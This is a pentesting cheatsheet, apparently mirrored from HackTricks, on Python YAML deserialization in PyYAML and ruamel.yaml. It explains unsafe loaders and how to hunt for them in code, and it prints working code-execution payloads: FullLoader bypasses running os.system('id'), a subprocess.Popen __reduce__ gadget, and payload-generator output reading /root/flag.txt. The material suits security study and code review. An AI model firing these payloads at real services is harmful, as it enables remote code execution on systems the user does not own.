daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

python-yaml-deserialization.md (8995B)


      1 ---
      2 title: "Python YAML Deserialization"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/deserialization/python-yaml-deserialization.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/python-yaml-deserialization.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Python YAML Deserialization
     14 
     15 ## YAML Deserialization
     16 
     17 Python **YAML** libraries can **serialize Python objects**, not just raw data structures. That is the dangerous part: when the loader is allowed to resolve Python-specific tags, parsing attacker-controlled YAML becomes very close to calling `pickle.load()`.
     18 
     19 For generic parser-confusion bugs and non-Python YAML issues, also check [JSON, XML & Yaml Hacking](/hacktricks/pentesting-web/json-xml-yaml-hacking).
     20 
     21 ```text
     22 print(yaml.dump(str("lol")))
     23 lol
     24 ...
     25 
     26 print(yaml.dump(tuple("lol")))
     27 !!python/tuple
     28 - l
     29 - o
     30 - l
     31 
     32 print(yaml.dump(range(1,10)))
     33 !!python/object/apply:builtins.range
     34 - 1
     35 - 10
     36 - 1
     37 ```
     38 
     39 Check how the **tuple** isn’t a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).<sup>[[1]](#references)[[2]](#references)</sup>
     40 
     41 ![Python Yaml Deserialization - Yaml Deserialization: Check how the tuple isn’t a raw type of data and therefore it was serialized . And the same happened with the range (taken from the...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281040%29.png)
     42 
     43 ### Loader behaviour quick reference
     44 
     45 | API | Behaviour | Offensive note |
     46 | --- | --- | --- |
     47 | `yaml.safe_load()` / `SafeLoader` | Only standard YAML types by default | Still review app-defined custom constructors/tags |
     48 | `yaml.full_load()` / `FullLoader` | Rejects Python object tags in modern PyYAML | **PyYAML < 5.4** had `FullLoader` bypasses |
     49 | `yaml.unsafe_load()` / `UnsafeLoader` / `Loader` | Reconstructs Python objects/functions | Treat it as an RCE sink |
     50 
     51 Class object deserialization example:
     52 
     53 ```python
     54 import yaml
     55 
     56 data = '!!python/object/apply:builtins.range [1, 10, 1]'
     57 
     58 print(yaml.safe_load(data))    # ConstructorError
     59 print(yaml.full_load(data))    # ConstructorError in modern PyYAML
     60 print(yaml.unsafe_load(data))  # range(1, 10)
     61 ```
     62 
     63 In current PyYAML, **`unsafe_load()`** is the intended API for reconstructing arbitrary Python-specific tags. `safe_load()` rejects them, and PyYAML **5.4** moved the remaining arbitrary Python tags out of `FullLoader`, closing the known `python/object/new` bypass represented below.<sup>[[4]](#references)[[5]](#references)</sup>
     64 
     65 ### Basic Exploit
     66 
     67 Example on how to **execute a sleep** when the target uses an unsafe loader:
     68 
     69 ```python
     70 import yaml
     71 
     72 payload = '!!python/object/apply:time.sleep [2]'
     73 yaml.unsafe_load(payload)  # Executed
     74 ```
     75 
     76 If you need a blind/OOB check instead of a delay, swap the gadget for something that makes a network request, e.g. `urllib.request.urlopen`, or use `subprocess`/`os.system` if command execution is easier to observe.
     77 
     78 ### PyYAML < 5.4: `FullLoader` / implicit `.load()` bypasses
     79 
     80 The dangerous historical detail is that **`FullLoader` was not actually safe in PyYAML 5.1 to 5.3.1**. PyYAML removed `!!python/object/apply` from `FullLoader`, but researchers quickly showed that `!!python/object/new` was still enough to get code execution.<sup>[[3]](#references)</sup>
     81 
     82 So, when auditing old environments, vendored dependencies, appliances, or Docker images pinned to **PyYAML < 5.4**, treat **both** of these as suspicious:
     83 
     84 - `yaml.load(data)` in code written before explicit loaders were enforced
     85 - `yaml.load(data, Loader=yaml.FullLoader)`
     86 
     87 Example `FullLoader` bypass payloads:
     88 
     89 ```yaml
     90 !!python/object/new:tuple
     91 - !!python/object/new:map
     92   - !!python/name:eval
     93   - ["__import__('os').system('id')"]
     94 ```
     95 
     96 ```yaml
     97 !!python/object/new:type
     98 args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
     99 listitems: "__import__('os').system('id')"
    100 ```
    101 
    102 Another classic variant is:
    103 
    104 ```yaml
    105 !!python/object/new:str
    106 state: !!python/tuple
    107   - 'print(getattr(open("flag\x2etxt"), "read")())'
    108   - !!python/object/new:Warning
    109     state:
    110       update: !!python/name:exec
    111 ```
    112 
    113 Or this **one-liner provided by @ishaack**:
    114 
    115 ```yaml
    116 !!python/object/new:str {
    117   state:
    118     !!python/tuple [
    119       'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
    120       !!python/object/new:Warning { state: { update: !!python/name:exec } },
    121     ],
    122 }
    123 ```
    124 
    125 PyYAML **5.4** moved arbitrary Python tags to **`UnsafeLoader`** and modern releases also require an explicit `Loader` argument for `yaml.load()`. However, this bug class still appears in real projects when old PyYAML versions remain installed or a project explicitly keeps using `FullLoader` on untrusted YAML.
    126 
    127 ### `safe_load()` can still become a sink with custom constructors
    128 
    129 `safe_load()` only protects you from **PyYAML's built-in Python tags**. It does **not** protect you from **application-defined tags** registered on `SafeLoader`.
    130 
    131 During code review, grep for:
    132 
    133 - `yaml.add_constructor(...)`
    134 - `yaml.add_multi_constructor(...)`
    135 - subclasses of `yaml.YAMLObject`
    136 - `yaml_loader = yaml.SafeLoader`
    137 
    138 If the application registers tags like `!ENV`, `!include`, `!func`, or `!cmd`, attacker-controlled YAML may still reach **file reads**, **module imports**, **callable resolution**, or **OS command execution** through the custom constructor logic.
    139 
    140 ```python
    141 import os
    142 import yaml
    143 
    144 def cmd(loader, node):
    145     return os.popen(loader.construct_scalar(node)).read()
    146 
    147 yaml.SafeLoader.add_constructor('!cmd', cmd)
    148 print(yaml.safe_load('result: !cmd "id"'))
    149 ```
    150 
    151 That is no longer a generic PyYAML bug; it is now an **application gadget**. From an attacker's perspective, it is still a YAML deserialization sink.
    152 
    153 ### Hunting sinks in real codebases
    154 
    155 ```bash
    156 rg -n "yaml\.(load|full_load|unsafe_load)|Loader=yaml\.(Loader|UnsafeLoader|FullLoader)|add_(multi_)?constructor|yaml_loader\s*=\s*yaml\.SafeLoader|YAML\(typ=['\"]unsafe['\"]\)" .
    157 ```
    158 
    159 Also review wrappers and helper functions: a project may expose a YAML import or configuration feature that ultimately selects an unsafe loader, or it may remain exploitable because an appliance or vendored environment pins an old PyYAML release.
    160 
    161 ## RCE
    162 
    163 Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.
    164 
    165 ```python
    166 import yaml
    167 import subprocess
    168 
    169 class Payload(object):
    170     def __reduce__(self):
    171         return (subprocess.Popen, ('ls',))
    172 
    173 deserialized_data = yaml.dump(Payload()) # serializing data
    174 print(deserialized_data)
    175 
    176 # !!python/object/apply:subprocess.Popen
    177 # - ls
    178 
    179 print(yaml.unsafe_load(deserialized_data))
    180 ```
    181 
    182 ### `ruamel.yaml`
    183 
    184 The same review mindset applies to **`ruamel.yaml`**. If you find `YAML(typ='unsafe')`, treat it as the equivalent of an unsafe PyYAML loader. Current `ruamel.yaml` documentation deprecates `typ='unsafe'` and recommends `typ='full'` for dumping registered Python classes; loading should use the safe default unless the application deliberately registers constructors.<sup>[[6]](#references)</sup>
    185 
    186 ### Tool to create Payloads
    187 
    188 The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:**
    189 
    190 ```bash
    191 python3 peas.py
    192 Enter RCE command :cat /root/flag.txt
    193 Enter operating system of target [linux/windows] . Default is linux :linux
    194 Want to base64 encode payload ? [N/y] :
    195 Enter File location and name to save :/tmp/example
    196 Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
    197 Done Saving file !!!!
    198 
    199 cat /tmp/example_jspick
    200 {"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
    201 
    202 cat /tmp/example_pick | base64 -w0
    203 gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
    204 
    205 cat /tmp/example_yaml
    206 !!python/object/apply:subprocess.Popen
    207 - !!python/tuple
    208   - cat
    209     - /root/flag.txt
    210 ```
    211 
    212 ## References
    213 
    214 - [1] [YAML Deserialization Attack in Python (Exploit-DB)](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
    215 - [2] [YAML Deserialization Attack in Python (Net-Square)](https://net-square.com/yaml-deserialization-attack-in-python.html)
    216 - [3] [Showcasing the Importance of Secure Defaults with a PyYAML 0day](https://blog.ankursundara.com/pyyaml-cve/)
    217 - [4] [PyYAML Documentation](https://pyyaml.org/wiki/PyYAMLDocumentation)
    218 - [5] [PyYAML 5.4.1 changelog - fix for CVE-2020-14343](https://github.com/yaml/pyyaml/blob/5.4.1/CHANGES)
    219 - [6] [ruamel.yaml project documentation](https://yaml.dev/doc/ruamel.yaml/)